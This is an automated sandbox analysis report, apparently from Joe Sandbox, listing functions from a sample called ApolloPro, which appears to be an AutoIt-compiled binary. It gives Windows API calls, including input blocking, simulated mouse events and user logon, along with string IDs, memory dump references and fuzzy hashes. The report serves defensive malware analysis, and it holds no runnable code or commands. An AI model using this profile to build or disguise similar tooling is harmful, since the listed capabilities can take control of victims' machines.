                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,0000FFFF,007D8F87,0000FCD7,?,?,00000001), ref: 007DA38A
                                                                    • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 007DA393
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ExceptionFilterUnhandled
                                                                    • String ID:
                                                                    • API String ID: 3192549508-0
                                                                    • Opcode ID: cabf1d662dd3946285bb6122a4a2120ff6731f8d95c2e0e0543a9c1244ce4bac
                                                                    • Instruction ID: 06ede1b1bb81d5f7ded622bf3d36109d8a83aaa9bd83ca4db6438131633d591b
                                                                    • Opcode Fuzzy Hash: cabf1d662dd3946285bb6122a4a2120ff6731f8d95c2e0e0543a9c1244ce4bac
                                                                    • Instruction Fuzzy Hash: 63B09235064208ABCA402FD1EC09B8A3F68FB46A6AF004010FB0D44260CB725450CE91
                                                                    Function 008245D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • BlockInput.USER32(00000001), ref: 008245F0
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BlockInput
                                                                    • String ID:
                                                                    • API String ID: 3456056419-0
                                                                    • Opcode ID: 95c2f097a7127a0b8e6af18fc9584fb87fcead0f584d9ef8fa9d6623d8ec099a
                                                                    • Instruction ID: 20482701fe1228f3927ea7af1a9dfd8014b5638a7c57b923eaec43427f52b053
                                                                    • Opcode Fuzzy Hash: 95c2f097a7127a0b8e6af18fc9584fb87fcead0f584d9ef8fa9d6623d8ec099a
                                                                    • Instruction Fuzzy Hash: 2EE0DF353102199FC310AF69E804B8BF7E8FFA4760F00841AFD49C7351DA70E8408BA0
                                                                    Function 008151E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00815205
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: mouse_event
                                                                    • String ID:
                                                                    • API String ID: 2434400541-0
                                                                    • Opcode ID: 04bf2851128210c0413b93e9651bf5d906ff0823227f1915539af308673f65ff
                                                                    • Instruction ID: 9ba7b1ced44cf8646862966dced9cfc6d4330d997fb1a7041fc16c248ab8d2b0
                                                                    • Opcode Fuzzy Hash: 04bf2851128210c0413b93e9651bf5d906ff0823227f1915539af308673f65ff
                                                                    • Instruction Fuzzy Hash: A8D01794160A09B8E81A03248A0FFB6220CFB817C4F94414A7102C50C1A89058C99821
                                                                    Function 00809369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00808FA7), ref: 00809389
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LogonUser
                                                                    • String ID:
                                                                    • API String ID: 1244722697-0
                                                                    • Opcode ID: ac32ec80d8b66aab57830650425919661a0d52d778154badc274af9ffc7c8a4c
                                                                    • Instruction ID: eca072adcac36c2a99e829521d8722b648ccb90fc611b655a42f18fcaf2b264b
                                                                    • Opcode Fuzzy Hash: ac32ec80d8b66aab57830650425919661a0d52d778154badc274af9ffc7c8a4c
                                                                    • Instruction Fuzzy Hash: DCD05E3226090EABEF018EA4DC01EAF3B69EB04B01F408111FE15C50A0C775D835EF60
                                                                    Function 007F0722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetUserNameW.ADVAPI32(?,?), ref: 007F0734
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: NameUser
                                                                    • String ID:
                                                                    • API String ID: 2645101109-0
                                                                    • Opcode ID: ae2f00fde87ff663eb7084a1546971c1391cac9ea695e77742671f4589cc16ee
                                                                    • Instruction ID: 56648a381926ee633bb6a35a0faff29c357dfc45088056655d71d6758ec3c539
                                                                    • Opcode Fuzzy Hash: ae2f00fde87ff663eb7084a1546971c1391cac9ea695e77742671f4589cc16ee
                                                                    • Instruction Fuzzy Hash: 9AC04CF581010DDBCB15DBA0D988EFF77BCBB04304F100055A205B2201D7789B44CE71
                                                                    Function 007DA354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetUnhandledExceptionFilter.KERNEL32(?), ref: 007DA35A
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ExceptionFilterUnhandled
                                                                    • String ID:
                                                                    • API String ID: 3192549508-0
                                                                    • Opcode ID: d88ebf53cf34d0dd48c618bc2ab92127b8923cea8bd866beb91a1824872ea3f1
                                                                    • Instruction ID: 620647c9a9df78890ec4ee43925fb47dbf9fc412fa8b4524f86c8ac92f81b522
                                                                    • Opcode Fuzzy Hash: d88ebf53cf34d0dd48c618bc2ab92127b8923cea8bd866beb91a1824872ea3f1
                                                                    • Instruction Fuzzy Hash: DFA0123002010CA78A001F81EC044457F5CE6015547004010F50C00121873254108980
                                                                    Function 00827EF0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DeleteObject.GDI32(00000000), ref: 00827F45
                                                                    • DeleteObject.GDI32(00000000), ref: 00827F57
                                                                    • DestroyWindow.USER32 ref: 00827F65
                                                                    • GetDesktopWindow.USER32 ref: 00827F7F
                                                                    • GetWindowRect.USER32(00000000), ref: 00827F86
                                                                    • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 008280C7
                                                                    • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 008280D7
                                                                    • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0082811F
                                                                    • GetClientRect.USER32(00000000,?), ref: 0082812B
                                                                    • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00828165
                                                                    • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00828187
                                                                    • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0082819A
                                                                    • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 008281A5
                                                                    • GlobalLock.KERNEL32(00000000), ref: 008281AE
                                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 008281BD
                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 008281C6
                                                                    • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 008281CD
                                                                    • GlobalFree.KERNEL32(00000000), ref: 008281D8
                                                                    • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 008281EA
                                                                    • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00843C7C,00000000), ref: 00828200
                                                                    • GlobalFree.KERNEL32(00000000), ref: 00828210
                                                                    • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00828236
                                                                    • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00828255
                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00828277
                                                                    • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00828464
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                    • String ID: $AutoIt v3$DISPLAY$static
                                                                    • API String ID: 2211948467-2373415609
                                                                    • Opcode ID: b1bb0ea2b30a9289929635a0caa3b817da4a9660b929e8de5a8172a9fb4352af
                                                                    • Instruction ID: 6ca8da26f612ea43e1504a9b17d768557feac5d6f8f9c604d54f53b9445aa673
                                                                    • Opcode Fuzzy Hash: b1bb0ea2b30a9289929635a0caa3b817da4a9660b929e8de5a8172a9fb4352af
                                                                    • Instruction Fuzzy Hash: 77025975900219EFDB14DF64DC89EAE7BB9FB49310F048158FA16AB2A1CB35AD41CF60
                                                                    Function 00833BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?,00840980), ref: 00833C65
                                                                    • IsWindowVisible.USER32(?), ref: 00833C89
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpperVisibleWindow
                                                                    • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                                    • API String ID: 4105515805-45149045
                                                                    • Opcode ID: e7f905b1f3660b69d1d46de7e8b51dfe2e628320599f3e2c3d0b109f004e67f1
                                                                    • Instruction ID: a625e61afe6b5758ce5c5aa9c14b56f459831cd590a5b4ab39e80673202d6532
                                                                    • Opcode Fuzzy Hash: e7f905b1f3660b69d1d46de7e8b51dfe2e628320599f3e2c3d0b109f004e67f1
                                                                    • Instruction Fuzzy Hash: 0DD15D30204205DBCB14EF64C855B6AB7A2FF94354F104859F9969B3A3CB35EE4ACBD2
                                                                    Function 0083ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetTextColor.GDI32(?,00000000), ref: 0083AC55
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 0083AC86
                                                                    • GetSysColor.USER32(0000000F), ref: 0083AC92
                                                                    • SetBkColor.GDI32(?,000000FF), ref: 0083ACAC
                                                                    • SelectObject.GDI32(?,?), ref: 0083ACBB
                                                                    • InflateRect.USER32(?,000000FF,000000FF), ref: 0083ACE6
                                                                    • GetSysColor.USER32(00000010), ref: 0083ACEE
                                                                    • CreateSolidBrush.GDI32(00000000), ref: 0083ACF5
                                                                    • FrameRect.USER32(?,?,00000000), ref: 0083AD04
                                                                    • DeleteObject.GDI32(00000000), ref: 0083AD0B
                                                                    • InflateRect.USER32(?,000000FE,000000FE), ref: 0083AD56
                                                                    • FillRect.USER32(?,?,?), ref: 0083AD88
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0083ADB3
                                                                      • Part of subcall function 0083AF18: GetSysColor.USER32(00000012), ref: 0083AF51
                                                                      • Part of subcall function 0083AF18: SetTextColor.GDI32(?,?), ref: 0083AF55
                                                                      • Part of subcall function 0083AF18: GetSysColorBrush.USER32(0000000F), ref: 0083AF6B
                                                                      • Part of subcall function 0083AF18: GetSysColor.USER32(0000000F), ref: 0083AF76
                                                                      • Part of subcall function 0083AF18: GetSysColor.USER32(00000011), ref: 0083AF93
                                                                      • Part of subcall function 0083AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0083AFA1
                                                                      • Part of subcall function 0083AF18: SelectObject.GDI32(?,00000000), ref: 0083AFB2
                                                                      • Part of subcall function 0083AF18: SetBkColor.GDI32(?,00000000), ref: 0083AFBB
                                                                      • Part of subcall function 0083AF18: SelectObject.GDI32(?,?), ref: 0083AFC8
                                                                      • Part of subcall function 0083AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 0083AFE7
                                                                      • Part of subcall function 0083AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0083AFFE
                                                                      • Part of subcall function 0083AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 0083B013
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
                                                                    • String ID:
                                                                    • API String ID: 4124339563-0
                                                                    • Opcode ID: fbb5b0463c17381aaa73bc899ef8bedf0416ac5b38f33c4a31dda01a0da41f76
                                                                    • Instruction ID: e7f6ed72859b488b5f498b6c9df91eaab4991dc7e71760ee960a99f08fc24c80
                                                                    • Opcode Fuzzy Hash: fbb5b0463c17381aaa73bc899ef8bedf0416ac5b38f33c4a31dda01a0da41f76
                                                                    • Instruction Fuzzy Hash: C3A19B76008305AFD7159F64DC08E6BBBA9FF89321F100A19FAA2E61E0D735D844CF92
                                                                    Function 007B2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DestroyWindow.USER32(?,?,?), ref: 007B3072
                                                                    • DeleteObject.GDI32(00000000), ref: 007B30B8
                                                                    • DeleteObject.GDI32(00000000), ref: 007B30C3
                                                                    • DestroyIcon.USER32(00000000,?,?,?), ref: 007B30CE
                                                                    • DestroyWindow.USER32(00000000,?,?,?), ref: 007B30D9
                                                                    • SendMessageW.USER32(?,00001308,?,00000000), ref: 007EC77C
                                                                    • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 007EC7B5
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 007ECBDE
                                                                      • Part of subcall function 007B1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,007B2412,?,00000000,?,?,?,?,007B1AA7,00000000,?), ref: 007B1F76
                                                                    • SendMessageW.USER32(?,00001053), ref: 007ECC1B
                                                                    • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 007ECC32
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 007ECC48
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 007ECC53
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                                    • String ID: 0
                                                                    • API String ID: 464785882-4108050209
                                                                    • Opcode ID: aaf04944200ea9ef599e2d2bf966670707b9bffbabb1261fa41be5269489ecb0
                                                                    • Instruction ID: 682e571085cfe6f8a15ddff6ea8402e7c92b7c0b99481c98ad23a3722e8a0611
                                                                    • Opcode Fuzzy Hash: aaf04944200ea9ef599e2d2bf966670707b9bffbabb1261fa41be5269489ecb0
                                                                    • Instruction Fuzzy Hash: E412AF38605241EFDB26DF25C888BA6B7A1FF09301F144569F995CB262C739ED82CF91
                                                                    Function 007C27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
                                                                    • String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                                    • API String ID: 2660009612-1645009161
                                                                    • Opcode ID: 7983e0b03cfd9929d94fe7b026b4c9967d3417fce1d03bf239f0c0039efa61ab
                                                                    • Instruction ID: 45d5015fdb9adfdfe5e3ee932470e9bbc617d32ceb01405e0d560dc4012ac703
                                                                    • Opcode Fuzzy Hash: 7983e0b03cfd9929d94fe7b026b4c9967d3417fce1d03bf239f0c0039efa61ab
                                                                    • Instruction Fuzzy Hash: A5A18E70A44209EBCB20AF20DC56FBE37B4BF45740F14402DF915AB393EBB99A42D661
                                                                    Function 00827B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DestroyWindow.USER32(00000000), ref: 00827BC8
                                                                    • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00827C87
                                                                    • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00827CC5
                                                                    • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00827CD7
                                                                    • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00827D1D
                                                                    • GetClientRect.USER32(00000000,?), ref: 00827D29
                                                                    • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00827D6D
                                                                    • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00827D7C
                                                                    • GetStockObject.GDI32(00000011), ref: 00827D8C
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 00827D90
                                                                    • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00827DA0
                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00827DA9
                                                                    • DeleteDC.GDI32(00000000), ref: 00827DB2
                                                                    • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00827DDE
                                                                    • SendMessageW.USER32(00000030,00000000,00000001), ref: 00827DF5
                                                                    • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00827E30
                                                                    • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00827E44
                                                                    • SendMessageW.USER32(00000404,00000001,00000000), ref: 00827E55
                                                                    • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00827E85
                                                                    • GetStockObject.GDI32(00000011), ref: 00827E90
                                                                    • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00827E9B
                                                                    • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00827EA5
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                                    • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                                    • API String ID: 2910397461-517079104
                                                                    • Opcode ID: 3791f2c5a1521f25f40646a33fc8a967d936f2c8f0512bf10559e74416b4a7f2
                                                                    • Instruction ID: 49fe9d9f76619e16b2669ca0d663c9ab234e44f0ec0dfd7f74614175a95a72ef
                                                                    • Opcode Fuzzy Hash: 3791f2c5a1521f25f40646a33fc8a967d936f2c8f0512bf10559e74416b4a7f2
                                                                    • Instruction Fuzzy Hash: 56A15BB5A10619BFEB149BA4DC4AFAB7BA9FB05710F004114FA15A72E1DA74AD40CF60
                                                                    Function 0081B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetErrorMode.KERNEL32(00000001), ref: 0081B361
                                                                    • GetDriveTypeW.KERNEL32(?,00842C4C,?,\\.\,00840980), ref: 0081B43E
                                                                    • SetErrorMode.KERNEL32(00000000,00842C4C,?,\\.\,00840980), ref: 0081B59C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
